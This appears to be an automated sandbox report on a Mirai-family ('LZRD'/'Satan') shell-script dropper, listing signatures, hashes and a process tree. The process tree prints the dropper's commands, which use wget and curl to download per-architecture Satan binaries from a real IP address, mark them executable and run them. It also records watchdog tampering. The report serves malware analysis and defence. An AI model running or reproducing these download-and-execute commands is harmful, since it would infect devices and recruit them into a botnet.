Analysis
-
max time kernel
150s -
max time network
155s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240611-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
16-11-2024 10:45
Static task
static1
Behavioral task
behavioral1
Sample
a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh
Resource
debian9-mipsbe-20240611-en
General
-
Target
a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh
-
Size
2KB
-
MD5
17dc87aa6fd321baa68de49069e245fd
-
SHA1
9590e1b95bcaa461b575a8b92c2c7fa1f172888b
-
SHA256
a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc
-
SHA512
1e556b174293de1df010cd82382e517d64386e8d80667e74d768ae1ab3ab0fdcf58376be1647b69c48b82897e4e9e522c6704e4cbb5069b3e96e70fb93151c63
Malware Config
Extracted
mirai
LZRD
Extracted
mirai
LZRD
Signatures
-
Mirai family
-
File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodpid process 897 chmod 902 chmod 908 chmod 744 chmod 822 chmod 846 chmod 867 chmod 879 chmod 840 chmod 856 chmod 861 chmod 885 chmod 798 chmod 873 chmod 891 chmod -
Executes dropped EXE 15 IoCs
Processes:
SatanSatanSatanSatanSatanSatanSatanSatanSatanSatanSatanSatanSatanSatanSatanioc pid process /tmp/Satan 745 Satan /tmp/Satan 799 Satan /tmp/Satan 823 Satan /tmp/Satan 841 Satan /tmp/Satan 847 Satan /tmp/Satan 857 Satan /tmp/Satan 862 Satan /tmp/Satan 868 Satan /tmp/Satan 874 Satan /tmp/Satan 880 Satan /tmp/Satan 886 Satan /tmp/Satan 892 Satan /tmp/Satan 898 Satan /tmp/Satan 903 Satan /tmp/Satan 909 Satan -
Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
Processes:
Satandescription ioc process File opened for modification /dev/watchdog Satan File opened for modification /dev/misc/watchdog Satan -
Enumerates running processes
Discovers information about currently running processes on the system
-
Writes file to system bin folder 2 IoCs
Processes:
Satandescription ioc process File opened for modification /sbin/watchdog Satan File opened for modification /bin/watchdog Satan -
Processes:
resource yara_rule /tmp/Satan upx /tmp/Satan upx /tmp/Satan upx /tmp/Satan upx -
Processes:
curlSatancurlcurlcurlcurlcurlcpcurlcurlcurlcurlcurldescription ioc process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/1/status Satan File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/73/status Satan File opened for reading /proc/81/status Satan File opened for reading /proc/508/status Satan File opened for reading /proc/9/status Satan File opened for reading /proc/11/status Satan File opened for reading /proc/12/status Satan File opened for reading /proc/22/status Satan File opened for reading /proc/71/status Satan File opened for reading /proc/691/status Satan File opened for reading /proc/850/status Satan File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/3/status Satan File opened for reading /proc/76/status Satan File opened for reading /proc/147/status Satan File opened for reading /proc/715/status Satan File opened for reading /proc/847/status Satan File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/7/status Satan File opened for reading /proc/13/status Satan File opened for reading /proc/83/status Satan File opened for reading /proc/21/status Satan File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/112/status Satan File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/filesystems cp File opened for reading /proc/5/status Satan File opened for reading /proc/6/status Satan File opened for reading /proc/16/status Satan File opened for reading /proc/37/status Satan File opened for reading /proc/104/status Satan File opened for reading /proc/473/status Satan File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/4/status Satan File opened for reading /proc/15/status Satan File opened for reading /proc/75/status Satan File opened for reading /proc/78/status Satan File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/20/status Satan File opened for reading /proc/23/status Satan File opened for reading /proc/139/status Satan File opened for reading /proc/325/status Satan File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/10/status Satan File opened for reading /proc/19/status Satan File opened for reading /proc/24/status Satan File opened for reading /proc/74/status Satan File opened for reading /proc/164/status Satan File opened for reading /proc/712/status Satan File opened for reading /proc/713/status Satan File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/36/status Satan File opened for reading /proc/69/status Satan File opened for reading /proc/113/status Satan File opened for reading /proc/408/status Satan File opened for reading /proc/321/status Satan File opened for reading /proc/381/status Satan File opened for reading /proc/380/status Satan File opened for reading /proc/391/status Satan File opened for reading /proc/480/status Satan File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/2/status Satan -
System Network Configuration Discovery 1 TTPs 6 IoCs
Adversaries may gather information about the network configuration of a system.
Processes:
wgetcurlcatwgetcurlcatpid process 843 wget 844 curl 845 cat 853 wget 854 curl 855 cat -
Writes file to tmp directory 30 IoCs
Malware often drops required files in the /tmp directory.
Processes:
curlcurlwgetwgetwgetwgetwgetcurlwgetwgetcurlcpwgetcurlcurlwgetwgetcurlcurlcurlcurlwgetcurlcurlwgetcurlcurlcurlwgeta74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.shdescription ioc process File opened for modification /tmp/Satan.arm curl File opened for modification /tmp/Satan.arm6 curl File opened for modification /tmp/Satan.m68k wget File opened for modification /tmp/Satan.sh4 wget File opened for modification /tmp/Satan.mips wget File opened for modification /tmp/Satan.arm wget File opened for modification /tmp/Satan.x86 wget File opened for modification /tmp/Satan.i686 curl File opened for modification /tmp/Satan.arm6 wget File opened for modification /tmp/Satan.arm7 wget File opened for modification /tmp/Satan.m68k curl File opened for modification /tmp/busybox cp File opened for modification /tmp/Satan.x86_64 wget File opened for modification /tmp/Satan.mips curl File opened for modification /tmp/Satan.mpsl curl File opened for modification /tmp/Satan.arm5 wget File opened for modification /tmp/Satan.mpsl wget File opened for modification /tmp/Satan.arm5 curl File opened for modification /tmp/Satan.ppc curl File opened for modification /tmp/Satan.sparc curl File opened for modification /tmp/Satan.x86 curl File opened for modification /tmp/Satan.i686 wget File opened for modification /tmp/Satan.mips64 curl File opened for modification /tmp/Satan.sh4 curl File opened for modification /tmp/Satan.arc wget File opened for modification /tmp/Satan.arc curl File opened for modification /tmp/Satan.x86_64 curl File opened for modification /tmp/Satan.arm7 curl File opened for modification /tmp/Satan.ppc wget File opened for modification /tmp/Satan a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh
Processes
-
/tmp/a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh/tmp/a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh1⤵
- Writes file to tmp directory
PID:713 -
/bin/cpcp /bin/busybox /tmp/2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:719
-
-
/usr/bin/wgetwget http://64.235.45.196/nice/Satan.arc2⤵
- Writes file to tmp directory
PID:721
-
-
/usr/bin/curlcurl -O http://64.235.45.196/nice/Satan.arc2⤵
- Writes file to tmp directory
PID:737
-
-
/bin/catcat Satan.arc2⤵PID:743
-
-
/bin/chmodchmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox Satan Satan.arc systemd-private-651ef097f8d64523b15aeb25ce6a7667-systemd-timedated.service-GhGekk2⤵
- File and Directory Permissions Modification
PID:744
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
PID:745
-
-
/usr/bin/wgetwget http://64.235.45.196/nice/Satan.x862⤵
- Writes file to tmp directory
PID:747
-
-
/usr/bin/curlcurl -O http://64.235.45.196/nice/Satan.x862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:796
-
-
/bin/catcat Satan.x862⤵PID:797
-
-
/bin/chmodchmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox Satan Satan.arc Satan.x862⤵
- File and Directory Permissions Modification
PID:798
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
PID:799
-
-
/usr/bin/wgetwget http://64.235.45.196/nice/Satan.x86_642⤵
- Writes file to tmp directory
PID:801
-
-
/usr/bin/curlcurl -O http://64.235.45.196/nice/Satan.x86_642⤵
- Reads runtime system information
- Writes file to tmp directory
PID:808
-
-
/bin/catcat Satan.x86_642⤵PID:821
-
-
/bin/chmodchmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox Satan Satan.arc Satan.x86 Satan.x86_642⤵
- File and Directory Permissions Modification
PID:822
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
PID:823
-
-
/usr/bin/wgetwget http://64.235.45.196/nice/Satan.i6862⤵
- Writes file to tmp directory
PID:827
-
-
/usr/bin/curlcurl -O http://64.235.45.196/nice/Satan.i6862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:834
-
-
/bin/catcat Satan.i6862⤵PID:839
-
-
/bin/chmodchmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox Satan Satan.arc Satan.i686 Satan.x86 Satan.x86_642⤵
- File and Directory Permissions Modification
PID:840
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
PID:841
-
-
/usr/bin/wgetwget http://64.235.45.196/nice/Satan.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:843
-
-
/usr/bin/curlcurl -O http://64.235.45.196/nice/Satan.mips2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:844
-
-
/bin/catcat Satan.mips2⤵
- System Network Configuration Discovery
PID:845
-
-
/bin/chmodchmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox Satan Satan.arc Satan.i686 Satan.mips Satan.x86 Satan.x86_642⤵
- File and Directory Permissions Modification
PID:846
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:847
-
-
/usr/bin/wgetwget http://64.235.45.196/nice/Satan.mips642⤵
- System Network Configuration Discovery
PID:853
-
-
/usr/bin/curlcurl -O http://64.235.45.196/nice/Satan.mips642⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:854
-
-
/bin/catcat Satan.mips642⤵
- System Network Configuration Discovery
PID:855
-
-
/bin/chmodchmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox Satan Satan.arc Satan.i686 Satan.mips Satan.mips64 Satan.x86 Satan.x86_642⤵
- File and Directory Permissions Modification
PID:856
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
PID:857
-
-
/usr/bin/wgetwget http://64.235.45.196/nice/Satan.mpsl2⤵
- Writes file to tmp directory
PID:858
-
-
/usr/bin/curlcurl -O http://64.235.45.196/nice/Satan.mpsl2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:859
-
-
/bin/catcat Satan.mpsl2⤵PID:860
-
-
/bin/chmodchmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox Satan Satan.arc Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_642⤵
- File and Directory Permissions Modification
PID:861
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
PID:862
-
-
/usr/bin/wgetwget http://64.235.45.196/nice/Satan.arm2⤵
- Writes file to tmp directory
PID:864
-
-
/usr/bin/curlcurl -O http://64.235.45.196/nice/Satan.arm2⤵
- Writes file to tmp directory
PID:865
-
-
/bin/catcat Satan.arm2⤵PID:866
-
-
/bin/chmodchmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox Satan Satan.arc Satan.arm Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_642⤵
- File and Directory Permissions Modification
PID:867
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
PID:868
-
-
/usr/bin/wgetwget http://64.235.45.196/nice/Satan.arm52⤵
- Writes file to tmp directory
PID:870
-
-
/usr/bin/curlcurl -O http://64.235.45.196/nice/Satan.arm52⤵
- Writes file to tmp directory
PID:871
-
-
/bin/catcat Satan.arm52⤵PID:872
-
-
/bin/chmodchmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox Satan Satan.arc Satan.arm Satan.arm5 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_642⤵
- File and Directory Permissions Modification
PID:873
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
PID:874
-
-
/usr/bin/wgetwget http://64.235.45.196/nice/Satan.arm62⤵
- Writes file to tmp directory
PID:876
-
-
/usr/bin/curlcurl -O http://64.235.45.196/nice/Satan.arm62⤵
- Reads runtime system information
- Writes file to tmp directory
PID:877
-
-
/bin/catcat Satan.arm62⤵PID:878
-
-
/bin/chmodchmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_642⤵
- File and Directory Permissions Modification
PID:879
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
PID:880
-
-
/usr/bin/wgetwget http://64.235.45.196/nice/Satan.arm72⤵
- Writes file to tmp directory
PID:882
-
-
/usr/bin/curlcurl -O http://64.235.45.196/nice/Satan.arm72⤵
- Reads runtime system information
- Writes file to tmp directory
PID:883
-
-
/bin/catcat Satan.arm72⤵PID:884
-
-
/bin/chmodchmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_642⤵
- File and Directory Permissions Modification
PID:885
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
PID:886
-
-
/usr/bin/wgetwget http://64.235.45.196/nice/Satan.ppc2⤵
- Writes file to tmp directory
PID:888
-
-
/usr/bin/curlcurl -O http://64.235.45.196/nice/Satan.ppc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:889
-
-
/bin/catcat Satan.ppc2⤵PID:890
-
-
/bin/chmodchmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.x86 Satan.x86_642⤵
- File and Directory Permissions Modification
PID:891
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
PID:892
-
-
/usr/bin/wgetwget http://64.235.45.196/nice/Satan.sparc2⤵PID:894
-
-
/usr/bin/curlcurl -O http://64.235.45.196/nice/Satan.sparc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:895
-
-
/bin/catcat Satan.sparc2⤵PID:896
-
-
/bin/chmodchmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.sparc Satan.x86 Satan.x86_642⤵
- File and Directory Permissions Modification
PID:897
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
PID:898
-
-
/usr/bin/wgetwget http://64.235.45.196/nice/Satan.m68k2⤵
- Writes file to tmp directory
PID:899
-
-
/usr/bin/curlcurl -O http://64.235.45.196/nice/Satan.m68k2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:900
-
-
/bin/catcat Satan.m68k2⤵PID:901
-
-
/bin/chmodchmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.m68k Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.sparc Satan.x86 Satan.x86_642⤵
- File and Directory Permissions Modification
PID:902
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
PID:903
-
-
/usr/bin/wgetwget http://64.235.45.196/nice/Satan.sh42⤵
- Writes file to tmp directory
PID:905
-
-
/usr/bin/curlcurl -O http://64.235.45.196/nice/Satan.sh42⤵
- Writes file to tmp directory
PID:906
-
-
/bin/catcat Satan.sh42⤵PID:907
-
-
/bin/chmodchmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.m68k Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.sh4 Satan.sparc Satan.x86 Satan.x86_642⤵
- File and Directory Permissions Modification
PID:908
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
PID:909
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
37KB
MD508cf04b0ad15a8c7c449088e16315353
SHA1ffacbdbcd817f007e6c57c54b4bbbf69c717670e
SHA25645dfa91dd7d2e4786d97d8306ecd7ddb681ee47307c5c71adfa363a99579e9a7
SHA5125484205f6981d97b2712a1d1b9ae18133ddd279aa466a0fb4da48e4613a9e33a45d2f83fe938a890308c1fab93f6ef44c0665c8b2d21990fe2284c88909adcae
-
Filesize
36KB
MD561e21345f095015159d3bc3cf8e03c45
SHA110110e69d9ad7704150f454d385312c4784f6ec8
SHA256fbdd988dc8735258f6fea1c65e740d2b727844ad120b065bfb8a545b7aad9dc6
SHA5121aaf63f2e069fbbfb4b40e132e67befb14b0dfe421bb3eb6dee02bac2781d34ae7e8e7dba693700ae218cfcf9f687e1694a2a6f1ee04bfc6fc2233d0c9debb68
-
Filesize
37KB
MD501c4bb5aa6e4171cfca5f9203e3573a7
SHA11a88dc57a6852af524bbf5b9570cade7c119f5a7
SHA256cf079902dc78084fb677eabd3782562d1c5acf730f7c25e24a17eaef19f3ab0c
SHA512df9f0bcc5c27490b2083ae7127f322f4cb97b3eca17ca37191ef3035975ddd6c5c14de6a055f966fed5d0635baa558d1236d94ebe9789d78740971e3cbdfdf94
-
Filesize
43KB
MD51bfc3c30353a70ff76a3cd055f5970aa
SHA174d484d5f6dec05098d164681f213d338551d1ef
SHA256a0f785888f8ea0b4b70288d0535fc51ea2feafe56b985381743d7f2ff15ed0d0
SHA512a714b3359e97e72b5042c5cb1e24f5435b35aff2c1e3bc2993d68c0a8173349f37c3f791c605af095072da9981c79cee82c6ad29d527ceb4e6170a689892c05a
-
Filesize
95KB
MD598edb56345345a350920c9eef926b9ec
SHA1338678a4f10411e093f624121d0224f64a143d62
SHA2562fcc36963326a289cd61360073f5594e90d9790d33ec23bb1221b560c80f8ec8
SHA51298afca538397376b016135540d173fc966d0e908dad2a06df2379388b8d22786f7f47c5225c1ad57fa912f491c21e0fff110c782ed9a3e6035a086be43f83f96
-
Filesize
113KB
MD5731281856cddc0758f79ba6dc1cda3c4
SHA1afd1c9de211952031af53529c4c5de07e17c3a8a
SHA256a5b802a712ab8b03041deb61d6a552a951b998570cf2fc842958974666c9387f
SHA5124d9514e59144a5c15b6290d72f77bf2b61d888a422b037710e512995e7df29e39f1da19af7a836172b4d593ff0f5dc0223b188d82ce06defa35b9aadb362bbc6
-
Filesize
857KB
MD5a39fe8036e559ce804e26518061e59ff
SHA18df27f6e8a48b762d945ea2f2b87390c80acd4de
SHA2563180df117342646dcdc4c436f95b41e15587e2238ec59064b4b06c065d56cf38
SHA512e97756f316fceef7360e789362648529eea50eb6f7cc56cf654b3fc43ca61f0e4d9f366ed8fd59b73dd5a49615e935e9f53686d15f9a83c7fa472a70e7196d0d